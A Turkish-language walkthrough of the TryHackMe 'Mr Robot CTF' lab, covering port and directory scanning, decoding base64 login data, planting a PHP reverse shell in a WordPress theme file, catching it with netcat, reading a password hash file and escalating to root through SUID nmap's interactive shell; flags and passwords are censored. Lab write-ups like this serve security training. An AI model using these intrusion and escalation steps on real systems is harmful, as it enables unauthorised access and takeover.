TryHackMe – Mr Robot CTF Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Mr Robot CTF” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.19.22  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 12:42 EDT
Nmap scan report for 10.10.19.22
Host is up (0.068s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd

2 — “robots.txt” dosyasını incelediğimde fsocity.dic ve key-1-of-3-.txt dosyasını görüyorum. İki dosyayı da indiriyorum. key-1-of-3.txt dosyasını okuyarak ilk bayrağımı elde ediyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# curl http://10.10.19.22/robots.txt                                          
User-agent: *
fsocity.dic
key-1-of-3.txt

┌──(root㉿kali)-[/home/kali/Downloads]
└─# wget http://10.10.19.22/fsocity.dic                                   
--2023-06-24 12:46:12--  http://10.10.19.22/fsocity.dic
Connecting to 10.10.19.22:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’

fsocity.dic                              100%[================================================================================>]   6.91M  3.65MB/s    in 1.9s    

2023-06-24 12:46:15 (3.65 MB/s) - ‘fsocity.dic’ saved [7245381/7245381]

┌──(root㉿kali)-[/home/kali/Downloads]
└─# wget http://10.10.19.22/key-1-of-3.txt
--2023-06-24 12:46:21--  http://10.10.19.22/key-1-of-3.txt
Connecting to 10.10.19.22:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: ‘key-1-of-3.txt’

key-1-of-3.txt                           100%[================================================================================>]      33  --.-KB/s    in 0s      

2023-06-24 12:46:21 (9.02 MB/s) - ‘key-1-of-3.txt’ saved [33/33]

3 — Dizin taraması yapıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.19.22 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.19.22
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
2023/06/24 12:48:22 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 214]
/images               (Status: 301) [Size: 234] [--> http://10.10.19.22/images/]
/index.html           (Status: 200) [Size: 1188]
/index.php            (Status: 301) [Size: 0] [--> http://10.10.19.22/]
/blog                 (Status: 301) [Size: 232] [--> http://10.10.19.22/blog/]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.19.22/feed/]
/sitemap              (Status: 200) [Size: 0]
/login                (Status: 302) [Size: 0] [--> http://10.10.19.22/wp-login.php]
/0                    (Status: 301) [Size: 0] [--> http://10.10.19.22/0/]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.19.22/feed/]
/video                (Status: 301) [Size: 233] [--> http://10.10.19.22/video/]
/image                (Status: 301) [Size: 0] [--> http://10.10.19.22/image/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.19.22/feed/atom/]
/wp-content           (Status: 301) [Size: 238] [--> http://10.10.19.22/wp-content/]
/admin                (Status: 301) [Size: 233] [--> http://10.10.19.22/admin/]
/audio                (Status: 301) [Size: 233] [--> http://10.10.19.22/audio/]
/intro                (Status: 200) [Size: 516314]

4 — “license” dosyasını incelediğimde bir base64 ile şifrelenmiş metin görüyorum. Metni çözdüğümde giriş bilgileri elde ediyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# curl http://10.10.19.22/license   

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

do you want a password or something?

*CENSORED*

┌──(root㉿kali)-[/home/kali/Downloads]
└─# echo "*CENSORED*" | base64 -d                       
*CENSORED*

5 — Elde ettiğim bilgiler ile wordpress platformuna giriş yaptıktan sonra 404.php dosyasının içerisine bir php reverse shell kodu yerleştirip bağlantı alıyorum.

http://10.10.19.22/wp-content/themes/twentyfifteen/404.php

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444           
listening on [any] 4444 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.19.22] 41786
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 16:54:53 up 22 min,  0 users,  load average: 0.07, 0.81, 0.75
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ 

6 — “/home/robot” dizini altındaki “password.raw-md5” dosyasını incelediğimde robot kullanıcısına ait parola hashi görüyorum. Crackstation sitesi ile bu hashi kırıp robot kullanıcısına geçiş yapıyorum. Daha sonra ikinci bayrağı elde ediyorum.

$ cat password.raw-md5
robot:*CENSORED*

$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/home/robot$ su robot
su robot
Password: *CENSORED*

robot@linux:~$ ls
ls
key-2-of-3.txt  password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
*CENSORED*

7 — Suid biti aktifleştirilmiş komutları listelediğimde “nmap” i görüyorum. GTFObins sitesinden bu yetkiyi nasıl suistimal edebileceğimi öğreniyorum.

robot@linux:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap <---------------------
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

8 — Root kullanıcısına geçtikten sonra üçüncü bayrağı da elde ediyorum.

robot@linux:~$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
firstboot_done  key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
*CENSORED*